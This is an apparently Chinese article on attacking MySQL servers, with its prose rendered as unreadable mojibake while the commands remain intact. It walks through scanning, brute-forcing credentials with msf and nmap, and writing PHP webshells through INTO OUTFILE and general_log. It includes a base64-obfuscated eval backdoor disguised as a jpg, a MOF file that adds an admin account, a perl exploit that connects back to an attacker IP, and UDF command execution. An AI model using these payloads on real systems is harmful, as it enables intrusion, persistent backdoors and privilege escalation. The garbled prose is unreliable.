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  5149  次浏览      32
 2017-12-11  
 
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±¾ÎÄÀ´Ô´Simeon£¬Ä¿Ç°ºÜ¶à¼Ü¹¹¶¼ÒÔMysql×÷ΪÊý¾Ý¿â¹ÜÀíϵͳ£¬µ«Ã»ÓÐÒ»¸ö¶ÔMysqlÊý¾Ý¿âÉøÍ¸½ÏÎªÈ«Ãæ¶Ô×ܽᣬÕë¶ÔÕâÖÖÇé¿öÎÒÃÇ¿ªÕ¹ÁËÑо¿¡£

MysqlÊý¾Ý¿âÊÇĿǰÊÀ½çÉÏʹÓÃ×îΪ¹ã·ºµÄÊý¾Ý¿âÖ®Ò»£¬ºÜ¶àÖøÃû¹«Ë¾ºÍÕ¾µã¶¼Ê¹ÓÃMysql×÷ΪÆäÊý¾Ý¿âÖ§³Å£¬Ä¿Ç°ºÜ¶à¼Ü¹¹¶¼ÒÔMysql×÷ΪÊý¾Ý¿â¹ÜÀíϵͳ£¬ÀýÈçLAMP¡¢ºÍWAMPµÈ£¬ÔÚÕë¶ÔÍøÕ¾ÉøÍ¸ÖУ¬ºÜ¶à¶¼ÊǸúMysqlÊý¾Ý¿âÓйأ¬¸÷ÖÖMysql×¢È룬MysqlÌáȨ£¬MysqlÊý¾Ý¿ârootÕ˺Åwebshell»ñÈ¡µÈµÄ£¬µ«Ã»ÓÐÒ»¸ö¶ÔMysqlÊý¾Ý¿âÉøÍ¸½ÏÎªÈ«Ãæ¶Ô×ܽᣬÕë¶ÔÕâÖÖÇé¿öÎÒÃÇ¿ªÕ¹ÁËÑо¿£¬ËäÈ»ÎÒÃÇÍŶӽñÄêÕýÔÚ³ö°æ¡¶ÍøÂç¹¥·ÀʵսÑо¿¡ª¡ªÂ©¶´ÀûÓÃÓëÌáȨ¡·£¬µ«¼¼ÊõµÄ½ø²½ÓÐÎÞÖ¹¾³£¬Ë¼ÏëÓжàÔ¶£¬Â·¾Í¿ÉÒÔ×ß¶àÔ¶£¬ÔÚÑо¿mysqlÊý¾Ý¿â°²È«Ö®Ó࣬¶ÔMysqlÈçºÎͨ¹ýmsf¡¢sqlmapµÈÀ´½øÐÐɨÃ衢©¶´ÀûÓá¢ÌáȨ¡¢MysqlÃÜÂëÆÆ½âºÍ»ñÈ¡webshellµÈ½øÐÐÁËÏêϸÑо¿¡£

1.1 MysqlÐÅÏ¢ÊÕ¼¯

1.¶Ë¿ÚÐÅÏ¢ÊÕ¼¯

MysqlĬÈ϶˿ÚÊÇ3306¶Ë¿Ú£¬µ«Ò²ÓÐ×Ô¶¨Òå¶Ë¿Ú£¬Õë¶ÔĬÈ϶˿ÚɨÃèÖ÷ÒªÀûÓÃɨÃèÈí¼þ½øÐÐ̽²â£¬ÍƼöʹÓãº

    1. iisputter£¬Ö±½ÓÌîд3306¶Ë¿Ú£¬IPµØÖ·Ìîдµ¥¸ö»òÕßC¶ÎµØÖ·¡£
    2. nmapɨÃènmap -p 3306 192.168.1.1-254

ÌØ¶¨Ä¿±êµÄÉøÍ¸£¬¿ÉÄÜÐèÒª¶ÔÈ«¶Ë¿Ú½øÐÐɨÃ裬¿ÉÒÔʹÓÃNmap¶Ôijһ¸öIPµØÖ·½øÐÐÈ«¶Ë¿ÚɨÃ裬¶Ë¿ÚɨÃèÈí¼þ»¹ÓÐsfindµÈDOSÏÂɨÃèµÄ¹¤¾ß¡£

2.°æ±¾ÐÅÏ¢ÊÕ¼¯

£¨1£©msf²é¿´°æ±¾ÐÅÏ¢auxiliary/scanner/mysql/mysql_versionÄ£¿é£¬ÒÔɨÃèÖ÷»ú192.168.157.130ΪÀý£¬ÃüÁîΪ£º

use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130
run

(2£©mysql²éѯ°æ±¾ÃüÁ

SELECT @@version`¡¢`SELECT version();

(3)sqlmapͨ¹ý×¢ÈëµãɨÃèÈ·ÈÏÐÅÏ¢£º

sqlmap.py -u url --dbms mysql

£¨4£©phpmyadmin¹ÜÀíÒ³ÃæµÇ¼ºó²é¿´localhost->±äÁ¿->·þÎñÆ÷±äÁ¿ºÍÉèÖÃÖеÄversion²ÎÊýÖµ¡£

3.Êý¾Ý¿â¹ÜÀíÐÅÏ¢ÊÕ¼¯

Mysql¹ÜÀí¹¤¾ßÓжàÖÖ£¬ÀýÈçphpmyadminÍøÕ¾¹ÜÀí£¬Navicat for MySQLÒÔ¼°MysqlFrontµÈ¿Í»§¶Ë¹¤¾ß¡£ÕâЩ¹¤¾ßÓеĻáÖ±½Ó±£´æÅäÖÃÐÅÏ¢£¬ÕâЩÐÅÏ¢°üº¬Êý¾Ý¿â·þÎñÆ÷µØÖ·ºÍÊý¾Ý¿âÓû§ÃûÒÔ¼°ÃÜÂ룬ͨ¹ýÐá̽»òÕßÆÆ½âÅäÖÃÎļþ¿ÉÒÔ»ñÈ¡ÃÜÂëµÈÐÅÏ¢¡£

4.msfÐÅÏ¢ÊÕ¼¯Ä£¿é

£¨1£©mysql¹þϣֵö¾Ù

use auxiliary/scanner/mysql/mysql_hashdump
set username root
set password root
run

£¨2£©»ñÈ¡Ïà¹ØÐÅÏ¢

use auxiliary/admin/mysql/mysql_enum
set username root
set password root
run

»ñÈ¡Êý¾Ý¿â°æ±¾£¬²Ù×÷ϵͳÃû³Æ£¬¼Ü¹¹£¬Êý¾Ý¿âĿ¼£¬Êý¾Ý¿âÓû§ÒÔ¼°ÃÜÂë¹þÏ£Öµ¡£

£¨3£©Ö´ÐÐmysqlÓï¾ä£¬Á¬½Ó³É¹¦ºó¿ÉÒÔÔÚmsfÖ´ÐÐsqlÓï¾ä£¬¸úsqlmapµÄ¨Csql-shellÄ£¿éÀàËÆ¡£

use auxiliary/admin/mysql/mysql_sql

£¨4£©½«mysql_schemµ¼³öµ½±¾µØ /root/.msf4/loot/Îļþ¼ÐÏÂ

use auxiliary/scanner/mysql/mysql_schemadump

£¨5£©Îļþö¾ÙºÍĿ¼¿ÉдÐÅϢö¾Ù

auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs

ûÓвâÊԳɹ¦¹ý£¬ÐèÒª¶¨Òåö¾ÙĿ¼ºÍÏà¹ØÎļþ£¬¾õµÃ»ù±¾Ã»ÓÐɶÓá£

1.2MysqlÃÜÂë»ñÈ¡

1.2.1±©Á¦ÆÆ½â

Mysql±©Á¦ÆÆ½âÖ÷ÒªÓм¸ÖÖ£º

1.ÍøÒ³ÔÚÏßÁ¬½ÓÆÆ½â

¿ÉÒÔʹÓÃburpsuiteºÍphpMyAdmin¶àÏß³ÌÅúÁ¿ÆÆ½â¹¤¾ß¡£ ÏÂÔØ£º https://portswigger.net/burp/¡¢ http://pan.baidu.com/s/1c1LD6co

2.msfͨ¹ýÃüÁîÐнøÐб©Á¦ÆÆ½â

msfÆÆ½âmysqlÃÜÂëÄ£¿éauxiliary/scanner/mysql/mysql_login£¬Æä²ÎÊýÖ÷ÒªÓÐBLANK_PASSWORDS¡¢BRUTEFORCE_SPEED¡¢DB_ALL_CREDS¡¢DB_ALL_PASS¡¢DB_ALL_USERS¡¢PASSWORD¡¢PASS_FILE¡¢Proxies¡¢RHOSTS¡¢RPORT¡¢STOP_ON_SUCCESS¡¢THREADS¡¢USERNAME¡¢USERPASS_FILE¡¢USER_AS_PASS¡¢USER_FILE¡¢VERBOSE²ÎÊý¡£¶Ôµ¥Ò»Ö÷»ú½ö½öÐèÒªÉèÖÃRHOSTS¡¢RPORT¡¢USERNAME¡¢PASSWORDºÍPASS_FILE£¬ÆäËü²ÎÊý¸ù¾Ýʵ¼ÊÇé¿ö½øÐÐÉèÖá£

£¨1£©³¡¾°A£º¶ÔÄÚÍø»ñÈ¡rootijһ¸ö¿ÚÁîºó£¬À©Õ¹ÉøÍ¸

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set password root
set username root
run

Ö´Ðкó¶Ô192.168.157.1-254½øÐÐmysqlÃÜÂëɨÃèÑéÖ¤¡£

£¨2£©³¡¾°B£ºÊ¹ÓÃÃÜÂë×ֵ佸ÐÐɨÃè

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set pass_file /tmp/password.txt
set username root
run

3.ʹÓÃnmapɨÃè²¢ÆÆ½âÃÜÂë

£¨1£©¶Ôijһ¸öIP»òÕßIPµØÖ·¶Î½øÐÐnmapĬÈÏÃÜÂ뱩Á¦ÆÆ½â²¢É¨Ãè

nmap --script=mysql-brute 192.168.157.130
nmap --script=mysql-brute 192.168.157.1-254

£¨2£©Ê¹ÓÃrootÕ˺ÅrootÃÜÂë½øÐÐmysqlÃÜÂëÑéÖ¤²¢É¨Ãè»ñȡָ¶¨IPµØÖ·µÄ¶Ë¿ÚÐÅÏ¢ÒÔ¼°mysqlÊý¾Ý¿âÏà¹ØÐÅÏ¢

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

£¨3£©¼ì²éroot¿Õ¿ÚÁî

nmap --script mysql-empty-password 192.168.195.130

4.ʹÓÃhscan¹¤¾ß¶Ômysql¿ÚÁî½øÐÐɨÃ裬ÐèÒªÉèÖÃɨÃèIPµØÖ·¶ÎÒÔ¼°Êý¾Ý¿â¿ÚÁî×ֵ估Óû§Ãû×ֵ䡣

1.2.2Ô´´úÂëй¶

1.ÍøÕ¾Ô´´úÂ뱸·ÝÎļþ

Ò»Ð©ÍøÕ¾Ô´´úÂëÎļþÖлá°üº¬Êý¾Ý¿âÁ¬½ÓÎļþ£¬Í¨¹ý²é¿´ÕâЩÎļþ¿ÉÒÔ»ñÈ¡Êý¾Ý¿âÕ˺źÍÃÜÂë¡£Ò»°ã³£¼ûµÄÊý¾Ý¿âÁ¬½ÓÎļþΪconfig.php¡¢web.config¡¢conn.asp¡¢db.php/asp¡¢jdbc.properties¡¢sysconfig.properties¡¢JBOSS_HOME\docs\examples\jca\XXXX-ds.xml¡£ÒÔǰÓÐÒ»¿î¹¤¾ßÍÚ¾ò¼¦¿ÉÒÔ×Ô¶¨ÒåÍøÕ¾µÈÃû³Æ¶Ôzip/rar/tar/tar.gz/gz/sqlµÈºó׺Îļþ½øÐÐɨÃè¡£

2.ÅäÖñ¸·ÝÎļþ

ʹÓÃultraeditµÈ±à¼­Îļþ±à¼­Êý¾Ý¿âÅäÖÃÎļþºó£¬»áÁôÏÂbakÎļþ¡£

1.2.3Îļþ°üº¬

±¾µØÎļþ°üº¬Â©¶´¿ÉÒÔ°üº¬Îļþ£¬Í¨¹ý²é¿´Îļþ´úÂë»ñÈ¡Êý¾Ý¿âÅäÖÃÎļþ£¬½ø¶ø¶ÁÈ¡Êý¾Ý¿âÓû§ÃûºÍÃÜÂë¡£

1.2.4ÆäËüÇé¿ö

ÓÐЩÈí¼þ»á½«IPµØÖ·¡¢Êý¾Ý¿âÓû§ÃûºÍÃÜÂëд½ø³ÌÐòÖУ¬ÔËÐгÌÐòºó£¬Í¨¹ýcainÈí¼þ½øÐÐÐá̽£¬¿ÉÒÔ»ñÈ¡Êý¾Ý¿âÃÜÂë¡£ÁíÍâMysql¿Í»§¶Ë¹ÜÀí¹¤¾ßÓеĹÜÀíÔ±»á½¨Á¢Á¬½Ó¼Ç¼£¬ÕâЩÁ¬½Ó¼Ç¼±£´æÁËÓû§Ãû¡¢ÃÜÂëºÍÁ¬½ÓIPµØÖ·»òÕßÖ÷»úÃû£¬Í¨¹ýÅäÖÃÎļþ»òÕßÐá̽¿ÉÒÔ»ñÈ¡Óû§ÃûºÍÃÜÂë¡£

1.3Mysql»ñÈ¡webshell

1.3.1phpmyadminrootÕ˺ŻñÈ¡webshell

MysqlRootÕ˺Åͨ¹ýphpMyAdmin»ñÈ¡webshellµÄ˼·£¬Ö÷ÒªÓÐÏÂÃæ¼¸ÖÖ·½Ê½£¬ÒÔµÚÒ»¶þÁù°ËÖÖ·½·¨½Ï¼Ñ£¬ÆäËü¿ÉÒÔ¸ù¾Ýʵ¼ÊÇé¿öÀ´½øÐС£

1.Ö±½Ó¶ÁÈ¡ºóÃÅÎļþ

ͨ¹ý³ÌÐò±¨´í¡¢phpinfoº¯Êý¡¢³ÌÐòÅäÖñíµÈÖ±½Ó»ñÈ¡ÍøÕ¾ÕæÊµÂ·¾¶£¬ÓÐÐ©ÍøÕ¾Ç°ÆÚÒѾ­±»ÈËÉøÍ¸¹ý£¬Òò´ËÔÚĿ¼ÏÂÁôÓкóÃÅÎļþͨ¹ýload_fileÖ±½Ó¶ÁÈ¡¡£

2.Ö±½Óµ¼³öÒ»¾ä»°ºóÃÅ

ǰÌáÐèÒªÖªµÀÍøÕ¾µÄÕæÊµÎïÀí·¾¶£¬ÀýÈçºôÇóÅ¼ÕæÊµÂ·¾¶D:\work\WWW£¬Ôò¿ÉÒÔͨ¹ýÖ´ÐÐÒÔϲéѯ£¬À´»ñȡһ¾ä»°ºóÃÅÎļþcmd.php£¬·ÃÎʵØÖ· http://www.somesite.com/cmd.php

select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

3.´´½¨Êý¾Ý¿âµ¼³öÒ»¾ä»°ºóÃÅ

ÔÚ²éѯ´°¿ÚÖ±½ÓÖ´ÐÐÒÔÏ´úÂë¼´¿É£¬¸ú2.Ô­ÀíÀàËÆ¡£

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
DROP TABLE IF EXISTS `antian365`;

4.¿ÉÖ´ÐÐÃüÁʽ

´´½¨Ö´ÐÐÃüÁîÐÎʽµÄshell£¬µ«Ç°ÌáÊǶԷ½Î´¹Ø±Õϵͳº¯Êý¡£¸Ã·½·¨µ¼³ö³É¹¦ºó¿ÉÒÔÖ±½ÓÖ´ÐÐDOSÃüÁʹÓ÷½·¨:www.xxx.com/antian365.php?cmd=(cmd=ºóÃæÖ±½ÓÖ´ÐÐdosÃüÁî)¡£

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

ÁíÍâÔÚlinuxÏ¿ÉÒÔµ¼³öÖ±½ÓÖ´ÐÐÃüÁîµÄshell£º

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

5.¹ýɱ¶¾Èí¼þ·½Ê½

ͨ¹ýºǫ́»òÕß´æÔÚÉÏ´«Í¼Æ¬µÄµØ·½£¬ÉÏ´«Í¼Æ¬publicguide.jpg£¬ÄÚÈÝÈçÏ£º

<?php
$a=' PD9waHAgQGV2YWwoJF9QT1NUWyd hbnRpYW4zNjUnXSk7ZGllKCk7Pz4= ';
error_reporting(0);
@set_time_limit(0);
eval("?>".base64_decode($a));
?>

È»ºóͨ¹ýͼƬ°üº¬temp.php£¬µ¼³öwebshell¡£

select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

Ò»¾ä»°ºóÃÅÃÜÂ룺antian365

6.Ö±½Óµ¼³ö¼ÓÃÜwebshell

Ò»¾ä»°ºóÃÅÎļþÃÜÂ룺pp64mqa2x1rnw68£¬Ö´ÐÐÒÔϲéѯֱ½Óµ¼³ö¼ÓÃÜwebshell£¬D:/WEB/IPTEST/22.php£¬×¢ÒâÔÚʵ¼Ê¹ý³ÌÐèÒªÐÞ¸ÄD:/WEB/IPTEST/22.php¡£

×¢Ò⣺

Ò²¿ÉÒÔʹÓà http://tool.lu/hexstr/ ÍøÕ¾µÄ´úÂëת»»À´ÊµÏÖ£¬½«ÐèÒªµ¼³öµÄÎļþ´úÂë¸´ÖÆµ½ÍøÕ¾µÄ×Ö·û´®ÖУ¬Í¨¹ý×Ö·û´®×ª³ÉÊ®Áù½øÖÆ£¬½«Ê®Áù½øÖÆ×Ö·û´®·ÅÈëunhexº¯Êý½øÐвéѯ¼´¿É£º

select unhex('Ê®Áù½øÖÆ×Ö·û´®') into dumpfile 'D:/WEB/shell.php'

7.CMSϵͳ»ñÈ¡webshell

ÓÐЩÇé¿öÏÂÎÞ·¨»ñÈ¡ÍøÕ¾µÄÕæÊµÂ·¾¶£¬ÔòÒâζ×ÅÎÞ·¨Ö±½Óµ¼³öÒ»¾ä»°webshell£¬¿ÉÒÔͨ¹ýCMSϵͳ¹ÜÀíÕ˺ŵǼϵͳºó£¬Ñ°ÕÒ©¶´À´Í»ÆÆ£¬ÀýÈçdedecmsÔò¿ÉÒÔͨ¹ýÆÆ½â¹ÜÀíÔ±Õ˺źóÖ±½ÓÉÏ´«ÎļþÀ´»ñÈ¡webshell¡£Discuz£¡µÄUC_key¿ÉÒÔÖ±½Ó»ñÈ¡webshell¡£ÉõÖÁijЩϵͳ¿ÉÒÔÖ±½ÓÉÏ´«phpÎļþ¡£ÏÂÃæÊÇһЩCMSÏµÍ³ÉøÍ¸µÄ¼¼ÇÉ£º

    1. dedecmsϵͳµÄÃÜÂëÓÐÖ±½Ómd5£¬Ò²ÓÐ20λµÄÃÜÂ룬Èç¹ûÊÇ20λµÄÃÜÂëÔòÐèҪȥµôÃÜÂëÖеÄǰ3λºÍ×îºó1λ£¬È»ºó¶ÔÊ£ÓàµÄÖµ½øÐÐmd5½âÃܼ´¿É£»
    2. phpcms v9°æ±¾µÄÃÜÂëÐèÒª¼Ósalt½øÐÐÆÆ½â£¬ÐèҪѡÔñÆÆ½âËã·¨md5(md5($pass).$salt)½øÐÐÆÆ½â¡£
    3. Discuz£¡ÂÛ̳Õʺű£´æÔÚucenter_members£¨Discuz7.X¼°ÒÔÉϰ汾£©»òÕßcdb_members£¨discuz6.x°æ±¾£©±íÖУ¬ÆäÆÆ½âÐèÒª´øsalt½øÐУ¬ÆäÆÆ½âʱÊÇʹÓÃpassword:salt½øÐУ¬ÀýÈça0513df9929afc972f024fa4e586e829:399793¡£

8.general_log_file»ñÈ¡webshell

£¨1£©²é¿´generaÎļþÅäÖÃÇé¿ö

show global variables like "%genera%";

£¨2£©¹Ø±Õgeneral_log

set global general_log=off;

£¨3£©Í¨¹ýgeneral_logÑ¡ÏîÀ´»ñÈ¡webshell

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';

ÔÚ²éѯÖÐÖ´ÐÐÓï¾ä£º

SELECT '<?php assert($_POST["cmd"]);?>';

ShellΪcmd.php£¬Ò»¾ä»°ºóÃÅ£¬ÃÜÂëΪcmd¡£

1.3.2sqlmap×¢Èëµã»ñÈ¡webshell

sqlmap×¢Èëµã»ñÈ¡webshellµÄǰÌáÊǾ߱¸Ð´È¨ÏÞ£¬Ò»°ãÊÇrootÕ˺ţ¬Í¨¹ýÖ´ÐÐÃüÁîÀ´»ñÈ¡£º

sqlmap -u url--os-shell
echo "<?php @eval($_POST['c']);?>" >/data/www/1.php

1.4MysqlÌáȨ

1.4.1mofÌáȨ

1.WebshellÉÏ´«mofÎļþÌáȨ

MySQL RootȨÏÞMOF·½·¨ÌáȨÊÇÀ´×Ô¹úÍâKingcope´óÅ£·¢²¼µÄMySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/)£¬¼ò³ÆmysqlÔ¶³ÌÌáȨ0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)¡£Windows ¹ÜÀí¹æ·¶ (WMI) ÌṩÁËÒÔÏÂÈýÖÖ·½·¨±àÒëµ½ WMI ´æ´¢¿âµÄÍйܶÔÏó¸ñʽ (MOF) Îļþ£º

·½·¨1£ºÔËÐÐ MOF ÎļþÖ¸¶¨ÎªÃüÁîÐвÎÊý Mofcomp.exe Îļþ¡£
·½·¨2£ºÊ¹Óà IMofCompiler ½Ó¿ÚºÍ $ CompileFile ·½·¨¡£
·½·¨3£ºÍϷŵ½ %SystemRoot%\System32\Wbem\MOF Îļþ¼ÐµÄ MOF Îļþ¡£

Microsoft ½¨ÒéÄúµ½´æ´¢¿â±àÒë MOF ÎļþʹÓÃǰÁ½ÖÖ·½·¨¡£Ò²¾ÍÊÇÔËÐÐ Mofcomp.exe Îļþ£¬»òʹÓÃIMofCompiler::CompileFile·½·¨¡£µÚÈýÖÖ·½·¨½öΪÏòºó¼æÈÝÐÔÓëÔçÆÚ°æ±¾µÄ?WMIÌṩ£¬²¢ÒòΪ´Ë¹¦ÄÜ¿ÉÄܲ»»áÌṩÔÚ½«À´µÄ°æ±¾ºó£¬²»Ó¦Ê¹Óá£×¢ÒâʹÓÃMOF·½·¨ÌáȨµÄǰÌáÊǵ±Ç°RootÕʺſÉÒÔ¸´ÖÆÎļþµ½%SystemRoot%\System32\Wbem\MOFĿ¼Ï£¬·ñÔò»áʧ°Ü£¡

¸Ã©¶´µÄÀûÓÃǰÌáÌõ¼þÊDZØÐë¾ß±¸mysqlµÄrootȨÏÞ£¬ÔÚKingcope¹«²¼µÄ0dayÖй«²¼ÁËÒ»¸öplÀûÓýű¾¡£

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100ΪmysqlÊý¾Ý¿âËùÔÚ·þÎñÆ÷£¬mysql¿ÚÁîΪ¿Õ£¬·´µ¯µ½192.168.2.150µÄ5555¶Ë¿ÚÉÏ¡£

2.Éú³Énullevt.mofÎļþ

½«ÒÔÏ´úÂë±£´æÎªnullevt.mofÎļþ£º

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select \ From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
 
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

3.ͨ¹ýMysql²éѯ½«Îļþµ¼Èë

Ö´ÐÐÒÔϲéѯÓï¾ä£¬½«ÉÏÃæÉú³ÉµÄnullevt.mofµ¼Èëµ½c:\windows\system32\wbem\mof\Ŀ¼ÏÂÔÚwindows7ÖÐĬÈÏÊǾܾø·ÃÎʵġ£µ¼Èëºóϵͳ»á×Ô¶¯ÔËÐУ¬Ö´ÐÐÃüÁî¡£

selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

1.4.2.MsfÖ±½ÓmofÌáȨ

MsfϵÄexploit/windows/mysql/mysql_mofÄ£¿éÌṩÁËÖ±½ÓMofÌáȨ£¬²»¹ý¸Ã©¶´³É¹¦¸ú²Ù×÷ϵͳȨÏÞºÍMysqlÊý¾Ý¿â°æ±¾Óйأ¬Ö´Ðгɹ¦ºó»áÖ±½Ó·´µ¯shellµ½meterpreter¡£

use exploit/windows/mysql/mysql_mof
set rhost 192.168.157.1 //ÉèÖÃÐèÒªÌáȨµÄÔ¶³ÌÖ÷»úIPµØÖ·
set rport 3306 //ÉèÖÃmysqlµÄÔ¶³Ì¶Ë¿Ú
set password root //ÉèÖÃmysqlÊý¾Ý¿ârootÃÜÂë
set username root //ÉèÖÃmysqlÓû§Ãû
options //²é¿´ÉèÖÃ
run 0

¼¼ÇÉ£º

ÒªÊÇÄܹ»Í¨¹ýÍøÒ³Á¬½Ó¹ÜÀí£¨phpmyadmin£©£¬Ôò¿ÉÒÔÐÞ¸ÄhostΪ%²¢Ë¢ÐÂȨÏÞºó£¬Ôò¿ÉÒÔͨ¹ýmsfµÈ¹¤¾ßÔ¶³ÌÁ¬½ÓÊý¾Ý¿â¡£Ä¬ÈÏrootµÈÕ˺Ų»ÔÊÐíÔ¶³ÌÁ¬½Ó£¬³ý·Ç¹ÜÀíÔ±»òÕßÊý¾Ý¿âÓû§×Ô¼ºÉèÖá£

·½·¨1£º±¾µØµÇÈëmysql£¬¸ü¸Ä?mysqlÊý¾Ý¿âÀïµÄ?user?±íÀïµÄ?hostÏ½«localhost¸ÄΪ%

use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
select host, user from user;

·½·¨2£ºÖ±½ÓÊÚȨ(ÍÆ¼ö)

´ÓÈκÎÖ÷»úÉÏʹÓÃrootÓû§£¬ÃÜÂ룺youpassword£¨ÄãµÄrootÃÜÂ룩Á¬½Óµ½mysql·þÎñÆ÷£º

# mysql -u root -proot
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
FLUSH PRIVILEGES;

ÍÆ¼öÖØÐÂÔö¼ÓÒ»¸öÓû§£¬ÔÚʵ¼Ê²âÊÔ¹ý³ÌÖз¢Ïֺܶà·þÎñÆ÷ʹÓÃrootÅäÖÃÁ˶à¸öµØÖ·£¬Ð޸ĺó¿ÉÄÜ»áÓ°Ïìʵ¼ÊϵͳµÄÔËÐС£ÔÚʵ¼Ê²âÊÔ¹ý³ÌÖÐÒò´Ë½¨ÒéÐÂÔöÒ»¸öÓû§£¬ÊÚȨËùÓÐȨÏÞ£¬¶ø²»ÊÇÖ±½Ó¸ü¸ÄrootÅäÖá£

1.4.3UDFÌáȨ

UDFÌáȨÊÇÀûÓÃMYSQLµÄ×Ô¶¨Ò庯Êý¹¦ÄÜ£¬½«MYSQLÕ˺Åת»¯ÎªÏµÍ³systemȨÏÞ£¬ÆäÀûÓÃÌõ¼þÊÇÄ¿±êϵͳÊÇWindows(Win2000,XP,Win2003)£»ÓµÓÐMYSQLµÄij¸öÓû§Õ˺ţ¬´ËÕ˺űØÐëÓжÔmysqlµÄinsertºÍdeleteȨÏÞÒÔ´´½¨ºÍÅׯúº¯Êý,ÓÐrootÕ˺ÅÃÜÂë

WindowsÏÂUDFÌáȨ¶ÔÓÚWindows2008ÒÔÏ·þÎñÆ÷±È½ÏÊÊÓã¬Ò²¼´Õë¶ÔWindows2000¡¢Windows2003µÄ³É¹¦Âʽϸߡ£

1.UDFÌáȨÌõ¼þ

    1. Mysql°æ±¾´óÓÚ5.1°æ±¾udf.dllÎļþ±ØÐë·ÅÖÃÓÚMYSQL°²×°Ä¿Â¼ÏµÄlib\pluginÎļþ¼ÐÏ¡£
    2. Mysql°æ±¾Ð¡ÓÚ5.1°æ±¾¡£udf.dllÎļþÔÚWindows2003Ï·ÅÖÃÓÚc:\windows\system32£¬ÔÚwindows2000Ï·ÅÖÃÓÚc:\winnt\system32¡£
    3. ÕÆÎÕµÄmysqlÊý¾Ý¿âµÄÕ˺ÅÓжÔmysqlµÄinsertºÍdeleteȨÏÞÒÔ´´½¨ºÍÅׯúº¯Êý£¬Ò»°ãÒÔrootÕ˺ÅΪ¼Ñ£¬¾ß±¸`rootÕ˺ÅËù¾ß±¸µÄȨÏÞµÄÆäËüÕ˺ÅÒ²¿ÉÒÔ¡£
    4. ¿ÉÒÔ½«udf.dllдÈëµ½ÏàӦĿ¼µÄȨÏÞ¡£

2.ÌáȨ·½·¨

£¨1£©»ñÈ¡Êý¾Ý¿â°æ±¾¡¢Êý¾ÝλÖÃÒÔ¼°²å¼þλÖõÈÐÅÏ¢

select version();//»ñÈ¡Êý¾Ý¿â°æ±¾
select user();//»ñÈ¡Êý¾Ý¿âÓû§
select @@basedir ;//»ñÈ¡°²×°Ä¿Â¼
show variables like '%plugins%'; //ѰÕÒmysql°²×°Â·¾¶

£¨2£©µ¼³ö·¾¶

C:\Winnt\udf.dll Windows 2000
C:\Windows\udf.dll Windows2003£¨ÓеÄϵͳ±»×ªÒ壬ÐèÒª¸ÄΪC:Windowsudf.dll£©

MYSQL 5.1ÒÔÉϰ汾£¬±ØÐëÒª°Ñudf.dllÎļþ·Åµ½MYSQL°²×°Ä¿Â¼ÏµÄlibpluginÎļþ¼ÐϲÅÄÜ´´½¨×Ô¶¨Ò庯Êý¡£¸ÃĿ¼ĬÈÏÊDz»´æÔڵģ¬Õâ¾ÍÐèÒªÎÒÃÇʹÓÃwebshellÕÒµ½MYSQLµÄ°²×°Ä¿Â¼£¬²¢ÔÚ°²×°Ä¿Â¼Ï´´½¨libpluginÎļþ¼Ð£¬È»ºó½«udf.dllÎļþµ¼³öµ½¸ÃĿ¼¼´¿É¡£

ÔÚijЩÇé¿öÏ£¬ÎÒÃÇ»áÓöµ½Can¡¯t open shared libraryµÄÇé¿ö£¬Õâʱ¾ÍÐèÒªÎÒÃǰÑudf.dllµ¼³öµ½lib\pluginĿ¼Ï²ſÉÒÔ£¬ÍøÉÏ´óÅ£·¢ÏÖÀûÓÃNTFS ADSÁ÷À´´´½¨Îļþ¼ÐµÄ·½·¨£º

select @@basedir; //²éÕÒµ½mysqlµÄĿ¼
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //ÀûÓÃNTFS ADS´´½¨libĿ¼
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//ÀûÓÃNTFS ADS´´½¨pluginĿ¼

Ö´Ðгɹ¦ÒÔºó¾Í»ápluginĿ¼£¬È»ºóÔÙ½øÐе¼³öudf.dll¼´¿É¡£

£¨3£©´´½¨cmdshell º¯Êý£¬¸Ãº¯Êý½ÐʲôÃû×ÖÔÚºóÐøÖÐÔòʹÓøú¯Êý½øÐвéѯ£º

create function cmdshell returns string soname ¡®lib_mysqludf_sys.dll¡¯;

£¨4£©Ö´ÐÐÃüÁ

select sys_eval(¡®whoami¡¯);

Ò»°ãÇé¿öϲ»»á³öÏÖ´´½¨²»³É¹¦Å¶¡£

